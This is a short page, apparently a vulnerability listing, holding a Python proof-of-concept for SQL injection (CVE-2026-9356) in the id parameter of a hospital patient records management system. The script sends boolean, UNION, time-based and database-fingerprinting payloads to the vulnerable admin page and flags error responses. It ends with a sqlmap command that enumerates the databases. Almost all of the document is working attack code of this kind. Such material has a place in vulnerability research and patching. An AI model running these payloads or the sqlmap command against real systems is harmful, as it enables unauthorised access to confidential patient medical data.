CVE-2026-9356 SourceCodester医院患者记录系统SQL注入漏洞

import requests # CVE-2026-9356 SQL Injection PoC # Target: SourceCodester Hospitals Patient Records Management System 1.0 # Vulnerability: SQL Injection in /admin/patients/manage_history.php target_url = "http://target-site.com/admin/patients/manage_history.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND 1=1--", "1' AND SLEEP(5)--", "1' UNION SELECT version(),user(),database()--" ] print("Testing CVE-2026-9356 SQL Injection...") for payload in payloads: params = {"id": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") # Check for SQL error messages or successful injection if "sql" in response.text.lower() or "error" in response.text.lower(): print("Potential vulnerability detected!") except requests.exceptions.RequestException as e: print(f"Error: {e}") print("\nRecommended: Use sqlmap for comprehensive testing") print("sqlmap -u 'http://target-site.com/admin/patients/manage_history.php?id=1' --dbs")